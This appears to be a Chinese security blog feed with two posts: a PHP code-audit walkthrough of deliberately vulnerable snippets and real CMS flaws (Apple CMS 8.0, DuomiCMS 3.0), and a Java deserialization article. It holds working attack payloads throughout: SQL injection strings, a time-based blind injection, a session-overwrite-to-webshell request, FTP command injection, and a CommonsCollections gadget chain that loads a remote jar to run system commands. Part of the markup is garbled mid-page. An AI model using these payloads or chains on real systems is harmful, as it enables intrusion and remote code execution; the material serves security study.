<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512171350.png" alt="" /></p>
<ul>
<li>直接拼接数据</li>
</ul>
<pre><code class="language-php line-numbers"> $ss_P="select * from ".TABLE_USER."  where  email='$user' and ps='$pscrypt'  order by id desc limit 1";
</code></pre>
<ul>
<li>component/dm-config/global.common.php:421</li>
</ul>
<p><strong>ENT_NOQUOTES两种引号都不转换，造成注入</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512171544.png" alt="" /></p>
<h2>特定场合下addslashes函数的绕过</h2>
<h3>Turkey Baster</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class LoginManager {
  private $em;
  private $user;
  private $password;

  public function __construct($user, $password) {
    $this-&gt;em = DoctrineManager::getEntityManager();
    $this-&gt;user = $user;
    $this-&gt;password = $password;
  }

  public function isValid() {
    $user = $this-&gt;sanitizeInput($this-&gt;user);
    $pass = $this-&gt;sanitizeInput($this-&gt;password);

    $queryBuilder = $this-&gt;em-&gt;createQueryBuilder()
      -&gt;select("COUNT(p)")
      -&gt;from("User", "u")
      -&gt;where("user = '$user' AND password = '$pass'");
    $query = $queryBuilder-&gt;getQuery();
    return boolval($query-&gt;getSingleScalarResult());
  }

  public function sanitizeInput($input, $length = 20) {
    $input = addslashes($input);
    if (strlen($input) &gt; $length) {
      $input = substr($input, 0, $length);
    }
    return $input;
  }
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth-&gt;isValid()) {
  exit;
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><strong>实例化一个LoginManager类名，接收用户传递的user，passwd两个参数，并通过isValid方法判断是否合法，sanitizeInput方法，通过addslashes方法进行过滤，再截取20位返回。</strong></p>
<ul>
<li>addslashes</li>
</ul>
<pre><code class="line-numbers">作用：在单引号（'）、双引号（"）、反斜线（\）与 NUL（ NULL 字符）字符之前加上反斜线
</code></pre>
<ul>
<li>substr</li>
</ul>
<pre><code class="line-numbers">string substr ( string $string , int $start [, int $length ] )
</code></pre>
<p><strong>返回字符串 string 由 start 和 length 参数指定的子字符串。</strong></p>
<ul>
<li>user</li>
</ul>
<pre><code class="line-numbers">1234567890123456789'
</code></pre>
<ul>
<li>sql</li>
</ul>
<pre><code class="line-numbers">select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">user=1234567890123456789'&amp;passwd=or 1=1#
</code></pre>
<h2>苹果CMS视频分享程序 8.0</h2>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200512232311.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>inc/common/template.php:754</li>
</ul>
<p><strong>$lp[&#8216;wd&#8217;]直接拼接SQL语句，造成SQL注入</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513085115.png" alt="" /></p>
<ul>
<li>inc/module/vod.php:96</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513091938.png" alt="" /></p>
<ul>
<li>inc/common/function.php:266</li>
</ul>
<p><strong>对传进来的参数进行过滤</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513092121.png" alt="" /></p>
<p>在<em>$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : &#8221;;</em>中可以知道wd参数是通过REQUEST方法获取的然后进行过滤。</p>
<ul>
<li>inc/common/360_safe3.php:27</li>
</ul>
<p><strong>跟踪chkSql函数</strong></p>
<p><em>将传进来的参数进行urldecode解码之后，通过StopAttack方法，最后通过htmlEncode方法，最后返回。</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513093123.png" alt="" /></p>
<ul>
<li>inc/common/360_safe3.php:12</li>
</ul>
<p><em>跟进StopAttack方法，使用preg_match方法进行过滤</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513094302.png" alt="" /></p>
<ul>
<li>inc/common/360_safe3.php:57<br />
<em>跟踪$getfilter方法</em></li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513095310.png" alt="" /></p>
<ul>
<li>inc/common/function.php:572</li>
</ul>
<p><em>跟踪一下htmlEncode方法，针对 &amp; 、 &#8216; 、 空格 、 &#8221; 、 TAB 、 回车 、 换行 、 大于小于号 等符号进行实体编码转换</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513095430.png" alt="" /></p>
<ul>
<li>inc/common/template.php:560</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513101624.png" alt="" /></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513091938.png" alt="" /></p>
<p><em>而 wd 是可以从 REQUEST 中获取到，所以wd 实际上是可控的。</em></p>
<ul>
<li>漏洞思路</li>
</ul>
<p><em>SQL注入点是字符型注入，htmlEncode方法实体编码了单引号，最后进行了url解码操作，可以通过双编码绕过，htmlEncode方法没有过滤反斜杠，而addslashes方法会过滤反斜杠。</em></p>
<ul>
<li>构造SQL</li>
</ul>
<pre><code class="line-numbers">wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63
</code></pre>
<h2>从变量覆盖到getshell</h2>
<h3>Snowman</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Carrot {
  const EXTERNAL_DIRECTORY = '/tmp/';
  private $id;
  private $lost = 0;
  private $bought = 0;

  public function __construct($input) {
    $this-&gt;id = rand(1, 1000);

    foreach ($input as $field =&gt; $count) {
      $this-&gt;$field = $count++;
    }
  }

  public function __destruct() {
    file_put_contents(
      self::EXTERNAL_DIRECTORY . $this-&gt;id,
      var_export(get_object_vars($this), true)
    );
  }
}

$carrot = new Carrot($_GET);
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">id=shell.pho&amp;shell=',)%0a// 
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513120025.png" alt="" /></p>
<h3>DuomiCMS_3.0</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513133757.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>duomiphp/common.php:52</li>
</ul>
<p><em>查看全局变量注册代码</em></p>
<pre><code class="language-php line-numbers">foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k =&gt; $_v) ${$_k} = _RunMagicQuotes($_v);
}
</code></pre>
<ul>
<li>duomiphp/common.php:36</li>
</ul>
<p><em>查看_RunMagicQuotes方法, _RunMagicQuotes 函数将特殊符号，使用 addslashes 函数进行转义处理</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513134725.png" alt="" /></p>
<ul>
<li>admin/admin_ping.php:13</li>
</ul>
<p><em>全剧追踪fwrite函数，$weburl与token来源于post，可控。</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513135318.png" alt="" /></p>
<p><em>weburl 变量和 token 变量从 POST方式获取，经过了_RunMagicQuotes方法还有webscan.php的过滤，但是可以写shell</em></p>
<p><strong>admin\admin_ping.php文件得需要admin身份才可以有访问权限写shell</strong></p>
<ul>
<li>admin/config.php:28</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513140949.png" alt="" /></p>
<ul>
<li>duomiphp/check.admin.php:41</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513141135.png" alt="" /></p>
<ul>
<li>admin/login.php:62</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513142847.png" alt="" /></p>
<ul>
<li>duomiphp/check.admin.php:72</li>
</ul>
<p><em>跟进checkUser方法</em></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513143011.png" alt="" /></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513143114.png" alt="" /></p>
<ul>
<li>登陆管理用户查看组</li>
</ul>
<p><em>可知用户组和userid均为1</em><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513151034.png" alt="" /></p>
<ul>
<li>覆盖 session 的值</li>
</ul>
<p><strong>重点注意这里git项目上的覆盖session有问题，可以使用这个payload</strong></p>
<pre><code class="line-numbers">member/share.php?_SESSION[duomi_group_id]=1&amp;_SESSION[duomi_admin_id]=1
</code></pre>
<ul>
<li>payload</li>
</ul>
<p>&#8220;`POST /admin/admin_ping.php?action=set HTTP/1.1<br />
Host: www.test.com:8888<br />
Cache-Control: max-age=0<br />
Upgrade-Insecure-Requests: 1<br />
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8<br />
Accept-Encoding: gzip, deflate<br />
Accept-Language: zh-CN,zh;q=0.9<br />
Connection: close<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-Length: 34</p>
<p>weburl=&quot;;phpinfo();//&amp;token=</p>
<p>&lt;pre&gt;&lt;code class=&quot;line-numbers&quot;&gt;- 测试</p>
<p>![](https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513220531.png)</p>
<p>## $_SERVER[&#039;PHP_SELF&#039;]导致的防御失效问题</p>
<p>### Sleigh Ride</p>
<p>&#8211; code </p>
<p>&#8220;`php<br />
class Redirect {<br />
  private $websiteHost = &#8216;www.example.com&#8217;;</p>
<p>  private function setHeaders($url) {<br />
    $url = urldecode($url);<br />
    header(&#8220;Location: $url&#8221;);<br />
  }</p>
<p>  public function startRedirect($params) {<br />
    $parts = explode(&#8216;/&#8217;, $_SERVER[&#8216;PHP_SELF&#8217;]);<br />
    $baseFile = end($parts);<br />
    $url = sprintf(<br />
      &#8220;%s?%s&#8221;,<br />
      $baseFile,<br />
      http_build_query($params)<br />
    );<br />
    $this-&gt;setHeaders($url);<br />
  }<br />
}</p>
<p>if ($_GET[&#8216;redirect&#8217;]) {<br />
  (new Redirect())-&gt;startRedirect($_GET[&#8216;params&#8217;]);<br />
}<br />
</code></p>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514095859.png" alt="" /></p>
<ul>
<li>题解</li>
</ul>
<p><em>代码实现的功能实则为一个URL跳转的功能，PHP_SELF 指当前的页面绝对地址。</em></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">/index.php/http:%252f%252fwww.syst1m.com?redirect=1
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><em>跳转到了我的博客</em><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514101338.png" alt="" /></p>
<h2>深入理解$_REQUESTS数组</h2>
<h3>Poem</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class FTP {
  public $sock;

  public function __construct($host, $port, $user, $pass) {
    $this-&gt;sock = fsockopen($host, $port);

    $this-&gt;login($user, $pass);
    $this-&gt;cleanInput();
    $this-&gt;mode($_REQUEST['mode']);
    $this-&gt;send($_FILES['file']);
  }

  private function cleanInput() {
    $_GET = array_map('intval', $_GET);
    $_POST = array_map('intval', $_POST);
    $_COOKIE = array_map('intval', $_COOKIE);
  }

  public function login($username, $password) {
    fwrite($this-&gt;sock, "USER " . $username . "\n");
    fwrite($this-&gt;sock, "PASS " . $password . "\n");
  }

  public function mode($mode) {
    if ($mode == 1 || $mode == 2 || $mode == 3) {
      fputs($this-&gt;sock, "MODE $mode\n");
    }
  }

  public function send($data) {
    fputs($this-&gt;sock, $data);
  }
}

new FTP('localhost', 21, 'user', 'password');
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><em>mode是通过request传进来的，在cleanInput方法中将get、post、cookie传进来的全部通过intval函数过滤</em></p>
<ul>
<li>REQUEST</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514104553.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">?mode=1%0a%0dDELETE%20test.file 
</code></pre>
<h2>Raw MD5 Hash引发的注入</h2>
<h3>Turkey Baster</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class RealSecureLoginManager {
  private $em;
  private $user;
  private $password;

  public function __construct($user, $password) {
    $this-&gt;em = DoctrineManager::getEntityManager();
    $this-&gt;user = $user;
    $this-&gt;password = $password;
  }

  public function isValid() {
    $pass = md5($this-&gt;password, true);
    $user = $this-&gt;sanitizeInput($this-&gt;user);

    $queryBuilder = $this-&gt;em-&gt;createQueryBuilder()
      -&gt;select("COUNT(p)")
      -&gt;from("User", "u")
      -&gt;where("password = '$pass' AND user = '$user'");
    $query = $queryBuilder-&gt;getQuery();
    return boolval($query-&gt;getSingleScalarResult());
  }

  public function sanitizeInput($input) {
    return addslashes($input);
  }

  $c = new RealSecureLoginManager(
  $_POST['user'],
  $_POST['passwd']
);
if (!$auth-&gt;isValid()) {
  exit;
}
</code></pre>
<ul>
<li>md5(计算字符串的 MD5 散列值)</li>
</ul>
<pre><code class="language-php line-numbers">string md5 ( string $str [, bool $raw_output = false ] )
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><em>auth新建了一个RealSecureLoginManager对象，传进去POST的user和passwd。在md5方法中，如果可选的 raw_output 被设置为 TRUE，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。</em></p>
<ul>
<li>fuzz</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514111159.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-SQL line-numbers">user= OR 1=1#&amp;passwd=128
</code></pre>
<ul>
<li>SQL</li>
</ul>
<pre><code class="language-SQL line-numbers">select count(p) from user s where password='v�a�n���l���q��\' and user=' OR 1=1#'
</code></pre>
<h3>实例分析</h3>
<ul>
<li>题目地址</li>
</ul>
<pre><code class="line-numbers">http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
</code></pre>
<h3>分析</h3>
<ul>
<li>查看源代码</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514111818.png" alt="" /></p>
<ul>
<li>password</li>
</ul>
<pre><code class="language-php line-numbers">md5($password,true)
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">password=ffifdyop或者129581926211651571912466741651878684928
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200514112614.png" alt="" /></p>
<h2>Tips整理</h2>
<ul>
<li>in_array</li>
</ul>
<pre><code class="line-numbers">第三个参数未设置为true,可利用弱类型比较绕过
</code></pre>
<ul>
<li>filter_var（url过滤）</li>
</ul>
<pre><code class="line-numbers">未对协议进行校验，可利用xxx://绕过
</code></pre>
<ul>
<li>class_exists</li>
</ul>
<pre><code class="line-numbers">当存在__autoload函数，会自动调用，如果类名可控，可造成危害，如果参数也可控，可利用内部函数进行攻击。
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="line-numbers">strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0
</code></pre>
<ul>
<li>filter_var (FILTER_VALIDATE_EMAIL)</li>
</ul>
<pre><code class="line-numbers">filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellarg与escapeshellcmd</li>
</ul>
<pre><code class="line-numbers">escapeshellarg与escapeshellcmd配合使用会存在绕过
</code></pre>
<ul>
<li>parse_str</li>
</ul>
<pre><code class="line-numbers">parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量
</code></pre>
<ul>
<li>preg_replace</li>
</ul>
<pre><code class="line-numbers">$pattern 存在 /e 模式修正符，允许代码执行
/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行
</code></pre>
<ul>
<li>extract</li>
</ul>
<pre><code class="line-numbers">从数组中将变量导入到当前的符号表
</code></pre>
<ul>
<li>readfile</li>
</ul>
<pre><code class="line-numbers">可利用 ../http/../../ 跳过目录（如检测关键字https是否存在）
</code></pre>
<ul>
<li>截断</li>
</ul>
<pre><code class="line-numbers">%00 遇到遇到函数过滤会成为\0
</code></pre>
<ul>
<li>反序列化</li>
</ul>
<p><a class="wp-editor-md-post-content-link" href="https://syst1m.com/post/php-deserialization/">PHP 反序列化漏洞学习</a></p>
<ul>
<li>htmlentities</li>
</ul>
<pre><code class="line-numbers">将字符转换为 HTML 转义字符
</code></pre>
<p><em>ENT_COMPAT（默认值）：只转换双引号。<br />
ENT_QUOTES：两种引号都转换。<br />
ENT_NOQUOTES：两种引号都不转换。</em></p>
<ul>
<li>$_SERVER[&#8216;REQUEST_URI&#8217;]</li>
</ul>
<pre><code class="line-numbers">获取的参数是不会将参数中的特殊符号进行转换
</code></pre>
<ul>
<li>HPP</li>
</ul>
<pre><code class="line-numbers">id=1&amp;id=2 只会接收第二个参数
</code></pre>
<ul>
<li>md5(计算字符串的 MD5 散列值)</li>
</ul>
<pre><code class="line-numbers">string md5 ( string $str [, bool $raw_output = false ] )
</code></pre>
<p><em>在md5方法中，如果可选的 raw_output 被设置为 TRUE，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。</em></p>
<ul>
<li>eregi截断漏洞</li>
</ul>
<p><em>ereg可用%00截断,要求php&lt;5.3.4</em></p>
<pre><code class="line-numbers">ereg编码%00时发生截断,不会检查%00后面的字符(%00算作1个字符)
</code></pre>
<ul>
<li>ssrf</li>
</ul>
<p><a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf"> us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java 反序列化回显的多种姿势</title>
		<link>/audit/1777.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 15 May 2020 16:16:24 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1777</guid>

					<description><![CDATA[聊一聊反序列化回显的问题 写在文前 在研究weblogic、fastjson、shiro反序列化漏洞时，多次遇到了回显问题，本文将从以下几种角度出发来分别探讨反序列化回显的问题，也...]]></description>
										<content:encoded><![CDATA[<p>聊一聊<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>回显的问题</p>
<h2>写在文前</h2>
<p>在研究<span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>、fastjson、shiro反序列化漏洞时，多次遇到了回显问题，本文将从以下几种角度出发来分别探讨反序列化回显的问题，也感谢各位师傅们的反序列化回显研究。</p>
<ol>
<li>defineClass</li>
<li>RMI绑定实例</li>
<li>URLClassLoader抛出异常</li>
<li>中间件</li>
<li>写文件css、js</li>
<li>dnslog</li>
</ol>
<h2>defineClass</h2>
<p>先说defineClass这个东西是因为下面的几种方式都是在其基础上进行改进。defineClass归属于ClassLoader类，其主要作用就是使用编译好的字节码就可以定义一个类。</p>
<p>形如</p>
<pre><code class="language-java line-numbers">package com.test.ClassLoader;

import java.lang.reflect.Method;

public class MyClassLoader extends ClassLoader {
    private static String myClassName = "com.test.ClassLoader.HelloWorld";
    private static byte[] bs = new byte[]{
        -54, -2, -70, -66, 0, 0, 0, 52, 0, 36, 10, 0, 7, 0, 22, 9, 0, 23, 0, 24, 8, 0, 25, 10, 0, 26, 0, 27, 8, 0, 19, 7, 0, 28, 7, 0, 29, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 33, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 59, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 97, 114, 103, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 116, 101, 115, 116, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 15, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 30, 12, 0, 31, 0, 32, 1, 0, 5, 72, 101, 108, 108, 111, 7, 0, 33, 12, 0, 34, 0, 35, 1, 0, 31, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 3, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 9, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 55, 0, 2, 0, 1, 0, 0, 0, 9, -78, 0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 8, 0, 6, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 17, 0, 18, 0, 0, 0, 9, 0, 19, 0, 9, 0, 1, 0, 10, 0, 0, 0, 37, 0, 2, 0, 0, 0, 0, 0, 9, -78, 0, 2, 18, 5, -74, 0, 4, -79, 0, 0, 0, 1, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 8, 0, 8, 0, 9, 0, 1, 0, 20, 0, 0, 0, 2, 0, 21,
    };

    public static void main(String[] args) {
        try {
            MyClassLoader loader = new MyClassLoader();
            Class helloClass = loader.loadClass(myClassName);
            Object obj = helloClass.newInstance();
            Method method = obj.getClass().getMethod("test");
            method.invoke(null);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected Class&lt;?&gt; findClass(String name) throws ClassNotFoundException {
        if (name == myClassName) {
            System.out.println("加载" + name + "类");
            return defineClass(myClassName, bs, 0, bs.length);
        }
        return super.findClass(name);
    }

}
</code></pre>
<h2>RMI绑定实例</h2>
<p>之前写过一篇 <a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7228">《Weblogic使用ClassLoader和RMI来回显命令执行结果》</a>，其中提到了使用commons-collection反射调用defineClass，通过defineClass定义的恶意命令执行字节码来绑定RMI实例，接着通过RMI调用绑定的实例拿到回显结果。其中最关键的代码就下面几行</p>
<pre><code class="language-java line-numbers">// common-collection1 构造transformers 定义自己的RMI接口
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(DefiningClassLoader.class),
        new InvokerTransformer("getDeclaredConstructor",
            new Class[] { Class[].class }, new Object[] { new Class[0] }),
        new InvokerTransformer("newInstance",
            new Class[] { Object[].class },
            new Object[] { new Object[0] }),
        new InvokerTransformer("defineClass",
            new Class[] { String.class, byte[].class },
            new Object[] { className, classBytes }),
        new InvokerTransformer("getMethod",
            new Class[] { String.class, Class[].class },
            new Object[] { "main", new Class[] { String[].class } }),
        new InvokerTransformer("invoke",
            new Class[] { Object.class, Object[].class },
            new Object[] { null, new Object[] { null } }),
        new ConstantTransformer(new HashSet())
};
</code></pre>
<p>使用cc链进行反射调用，其中className为恶意命令执行类，形如<code>com.test.payload.RemoteImpl</code>，继承自Remote接口的实现，classBytes为该类字节码数组，将该类对象绑定在<code>rmi://127.0.0.1:1099/Hello</code>实例上，进而通过JNDI调用Hello即可。</p>
<h2>URLClassLoader抛出异常</h2>
<p>通过将回显结果封装到异常信息抛出拿到回显。</p>
<p>首先写一下执行命令的类</p>
<pre><code class="language-java line-numbers">import java.io.*;
import java.nio.charset.Charset;

public class ProcessExec {
    public ProcessExec(String cmd) throws Exception {
        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
        BufferedReader bufferedReader = new BufferedReader(streamReader);
        StringBuffer buffer = new StringBuffer();
        String line = null;

        while((line = bufferedReader.readLine()) != null) {
            buffer.append(line).append("\n");
        }

        throw new Exception(buffer.toString());
    }
}
</code></pre>
<p>打jar包</p>
<pre><code class="language-java line-numbers">javac ProcessExec.java
jar -cvf p.jar ProcessExec.class
</code></pre>
<p>使用URLClassLoader加载jar获得回显</p>
<pre><code class="language-java line-numbers">package payload;

import java.lang.reflect.Constructor;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassloader {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://127.0.0.1/p.jar");
        URL[] urls = {url};
        URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
        Constructor&lt;?&gt; processExec = urlClassLoader.loadClass("ProcessExec").getConstructor(String.class);
        processExec.newInstance("ipconfig");

    }
}
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200516008124.png" alt="image.png" /></p>
<p>使用URLClassLoader的部份可以通过cc链反射去做</p>
<pre><code class="language-java line-numbers">package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;

class CommonsCollections5URLClassLoader {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(URLClassLoader.class),
                // 获取构造方法
                new InvokerTransformer("getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{java.net.URL[].class}}),
                // new实例并赋值url
                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1/p.jar")}}}),
                // loadClass加载ProcessExec
                new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"ProcessExec"}),
                // 获取ProcessExec的构造方法
                new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}),
                // 实例化ProcessExec
                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{"ipconfig"}})

        };
        Transformer chain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(entry);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, entry);

        serialize(badAttributeValueExpException);
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
